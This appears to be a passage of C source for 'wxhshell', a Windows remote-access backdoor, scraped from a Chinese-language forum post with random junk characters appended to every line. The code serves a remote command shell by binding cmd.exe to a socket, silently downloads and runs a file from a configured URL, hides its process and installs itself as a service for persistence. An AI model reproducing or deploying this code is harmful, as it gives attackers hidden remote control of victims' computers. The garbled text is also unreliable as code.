    switch(cmd[0]) { +o\s |G|l  
  6s"Erq5q  
  // 帮助 D9|?1+Kc  
  case '?': { {} 11U0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -}O>m}l  
    break; "T_OLegdK  
  } "/-T{p;.  
  // 安装 TdAHw @(  
  case 'i': { -UM5&R+o  
    if(Install()) D>c-h)2|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oqOXRUy  
    else E'g2<k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >{dj6Wo  
    break; JyBsOC3  
    } LBlaDw  
  // 卸载 mf>cv2+  
  case 'r': { > CPJp!u  
    if(Uninstall()) L8FLHT+R-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aTceGyWzl  
    else +AT!IZrB2i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /{~cUB,Um  
    break; S}rW=hO  
    } ?kvkdHEO_  
  // 显示 wxhshell 所在路径 ?OU+)kgzh  
  case 'p': { !%x=o&  
    char svExeFile[MAX_PATH]; Z~-A*{u?  
    strcpy(svExeFile,"\n\r"); \y%:[g}Fvw  
      strcat(svExeFile,ExeFile); @YEdN}es  
        send(wsh,svExeFile,strlen(svExeFile),0); J6H3X;vxQw  
    break; sH>Z{xjr  
    } /Nh:O  
  // 重启 7Lr}Y/1=  
  case 'b': { $^2 j#]uX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y!9facg  
    if(Boot(REBOOT)) m_7)r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A~!3svJW  
    else { 0-^wY8n-=  
    closesocket(wsh); dD2N!umW  
    ExitThread(0); I<I?ks  
    } YJO,"7+  
    break; QcQ:hHF  
    } A@wRP8<GKj  
  // 关机  psg}sl/  
  case 'd': { 9 xvE?8;M#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q1nGj  
    if(Boot(SHUTDOWN)) 'ErtiD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\si/&  
    else { fU+A~oL%I  
    closesocket(wsh); .g7ebh6D  
    ExitThread(0); `NC{+A  
    } p[QF3)9F  
    break; su`] l"[,]  
    } !Z7 ~R sdm  
  // 获取shell G B+U>nf  
  case 's': { *q%)q  
    CmdShell(wsh); VxOrrs7Z  
    closesocket(wsh); &\\iD :J  
    ExitThread(0); 2 AZ[gr@c  
    break; ~67L  
  } nD\ X3g `V  
  // 退出 S-8O9  
  case 'x': { 6N4/p=lE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b|c?xHF}K  
    CloseIt(wsh); :v k+[PzJ  
    break; =s P6  
    } 0VV1!g  
  // 离开 {)eV) 2a  
  case 'q': { Fc;)p88[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `A\ !Gn?   
    closesocket(wsh); y?-wjJS>  
    WSACleanup(); T|p$Ddt`+  
    exit(1); 'iN8JO>  
    break; 877>=Tp |  
        } <R:KR(bT  
  } ?o h3t  
  } ChLU(IPo6  
V(3udB@K  
  // 提示信息 ku*|?uF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C!SB5G>OH  
} .cA[b  
  } q_8qowu"  
" [=Ee[/  
  return; Aa&3x~3+  
} 5Mb1==/R  
c@{,&,vsj  
// shell模块句柄 35yhe:$nf  
int CmdShell(SOCKET sock) R Nr=M^Zn  
{ ZYBNS~Q  
STARTUPINFO si; %@U<|9 %ua  
ZeroMemory(&si,sizeof(si)); :L9\`&}FS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (jkjj7a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {M]m cRB(  
PROCESS_INFORMATION ProcessInfo; l\5}\9yS  
char cmdline[]="cmd"; 5I{YsM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3Gt'<E|"  
  return 0; r]'AdJFt  
} :Ke~b_$Uy-  
xH\'gli/  
// 自身启动模式 \O?#gW\tR  
int StartFromService(void) K}O~tff  
{ ^!|BKH8>f%  
typedef struct WKpHb:H  
{ .N] ^g#  
  DWORD ExitStatus; KhZ'Ic[vw  
  DWORD PebBaseAddress; 7,|-%!p[  
  DWORD AffinityMask; KoQvC=+WI  
  DWORD BasePriority; nF}]W14x  
  ULONG UniqueProcessId; l\5qa_{z  
  ULONG InheritedFromUniqueProcessId; mxjY-Kq  
}   PROCESS_BASIC_INFORMATION; ltHC+8 aZ  
udg;jR-^  
PROCNTQSIP NtQueryInformationProcess; :$[m[y7i  
Ssaf RK$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <acAc2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vm&fw".J  
@ky5X V  
  HANDLE             hProcess; }mz4 3Sq<  
  PROCESS_BASIC_INFORMATION pbi; K ^H=E  
#(CI/7 -  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SR~~rD|V  
  if(NULL == hInst ) return 0; h vGb9  
g{l;v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \C*?a0!:Z}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H5/%"1Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O>w $  
2N(c&Dzkh`  
  if (!NtQueryInformationProcess) return 0; t,R5FoV  
u9m"{KnV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <H)h+?&~d  
  if(!hProcess) return 0; ,[+gE\z{{u  
W ;IvR   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  7P]_03  
` M"Zq  
  CloseHandle(hProcess); L<QqQ"`  
2hf]XV\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f? [y-  
if(hProcess==NULL) return 0; y S7[=S  
[F+lVb  
HMODULE hMod; I2|iqbX40Q  
char procName[255]; ~oT0h[<  
unsigned long cbNeeded; Cb.~Dv !  
^fS~va  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,_YCl09p(  
"v jFL9  
  CloseHandle(hProcess); yBauK-7*c  
N+!{Bt*  
if(strstr(procName,"services")) return 1; // 以服务启动 ^b;.zhp8;N  
-YHlVz  
  return 0; // 注册表启动 ,/:#=TuYm  
} lpve Yz  
d'^jek h  
// 主模块 |; {wy  
int StartWxhshell(LPSTR lpCmdLine) E[2c`XFd8  
{ &OGY?[n  
  SOCKET wsl; v.\1-Q?  
BOOL val=TRUE; bbiDY  
  int port=0; ^7TM.lE  
  struct sockaddr_in door; =wU08}  
nd_d tsp#  
  if(wscfg.ws_autoins) Install(); "z< =S  
OMO.-p  
port=atoi(lpCmdLine); u Dm=W36  
&bs/a] ?Z7  
if(port<=0) port=wscfg.ws_port; +Medu?K `  
|nz,srr~  
  WSADATA data; Gnj|y?'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D19uI&U4  
#=7~.Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sqJ?dIBH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "-A@>*g  
  door.sin_family = AF_INET; RjSVa.x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #<4h Y7/  
  door.sin_port = htons(port); *Yl9%x]3c  
"J%u !~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1/6G&RB  
closesocket(wsl); vy1:>N?#5  
return 1; JL`n12$m  
} *8,]fBUq  
MBXumc_g  
  if(listen(wsl,2) == INVALID_SOCKET) { sh:sPzQ%Jv  
closesocket(wsl); ga6M8eOI  
return 1; ~e ]83?  
} m}Kn!21  
  Wxhshell(wsl); z~L(kf4  
  WSACleanup(); VCNg`6!x  
L!c7$M5xJ  
return 0; b!5W!vcK  
gI'4g ZH  
} sR +=<u1  
:=T+sT~  
// 以NT服务方式启动 &JtK<g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -+#\WB{AI  
{ <8+.v6DCd  
DWORD   status = 0; C:0Ra^i ?L  
  DWORD   specificError = 0xfffffff; DE^{8YX,  
K.",=\53  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M7fw/i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *s S7^OZ*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "^Tb8!  
  serviceStatus.dwWin32ExitCode     = 0; ; R&wr _%  
  serviceStatus.dwServiceSpecificExitCode = 0; tO)mKN+ (  
  serviceStatus.dwCheckPoint       = 0; 2^E.sf$f  
  serviceStatus.dwWaitHint       = 0; e%U0^! 8  
arrNx|y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JN$v=Ox{  
  if (hServiceStatusHandle==0) return; 2j Oh~-LU  
m/Q@-  
status = GetLastError(); [- a2<E  
  if (status!=NO_ERROR) %'%ej^s-R  
{ 75jq+O_:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MU<Y,4/k  
    serviceStatus.dwCheckPoint       = 0; ,L6d~>=41  
    serviceStatus.dwWaitHint       = 0; g"FG7E&  
    serviceStatus.dwWin32ExitCode     = status; /3L1Un*  
    serviceStatus.dwServiceSpecificExitCode = specificError; SQ1.jcWW[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k/u6Cw0/  
    return; o;D87E6Z  
  } zVd2kuI&?  
U_wn/wcLS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S}cpYjnH8  
  serviceStatus.dwCheckPoint       = 0; jY(' ?3  
  serviceStatus.dwWaitHint       = 0; fJH09:@^%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ltO:./6v  
} YRfs8I^rg  
xw&[ 9}Y  
// 处理NT服务事件,比如:启动、停止 [YpSmEn}Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?76Wg::  
{ 0 gL]^_+7  
switch(fdwControl) x$[<<@F%  
{ z+@aQ@75  
case SERVICE_CONTROL_STOP: &<_*yl p  
  serviceStatus.dwWin32ExitCode = 0; I_6?Q^_uZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <_dyUiT$J  
  serviceStatus.dwCheckPoint   = 0; Yo/U/dB  
  serviceStatus.dwWaitHint     = 0; \|F4@  
  { hJ (Q^Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N&]v\MjI62  
  } [}9sq+##  
  return; \ ExM.T  
case SERVICE_CONTROL_PAUSE: -}/u?3^-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E5~HH($b  
  break; C},;M @xV  
case SERVICE_CONTROL_CONTINUE: w-C ~ Ik  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TUw^KSa  
  break; u}\F9~W-{  
case SERVICE_CONTROL_INTERROGATE: }/nbv;)  
  break; X};m\Bz  
}; me_DONW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =!w5%|r.  
} v~H1Il_+  
mS p -  
// 标准应用程序主函数 .{1G"(z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {0nZ;1,m  
{ yM}}mypS  
#g#vDR!  
// 获取操作系统版本 #v0"hFOH,  
OsIsNt=GetOsVer(); *p`0dvXG2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n (7m  
gPSUxE `O.  
  // 从命令行安装 =Mzg={)v  
  if(strpbrk(lpCmdLine,"iI")) Install(); g{.>nE^Sc5  
I= G%r/3  
  // 下载执行文件 +FfT)8@W  
if(wscfg.ws_downexe) { QM\v ruTB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  }fpK{db  
  WinExec(wscfg.ws_filenam,SW_HIDE); EgOAEv  
} W$B&asO  
q#:,6HDd  
if(!OsIsNt) { ZF"f.aV8)  
// 如果时win9x,隐藏进程并且设置为注册表启动 WPygmti}Be  
HideProc(); L>5VnzSI  
StartWxhshell(lpCmdLine); g]EDL<b  
} lTY%,s  
else +c.A|!-  
  if(StartFromService()) l=8)_z;~D  
  // 以服务方式启动 6F6[w?   
  StartServiceCtrlDispatcher(DispatchTable); 5cO}Jp%PA  
else @kvgq 0ab  
  // 普通方式启动 $#2ik~]>  
  StartWxhshell(lpCmdLine); .;yy= Rj  
d)1)/Emyj  
return 0; jb~a z  
}
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只看该作者 1 发表于: 2006-10-10
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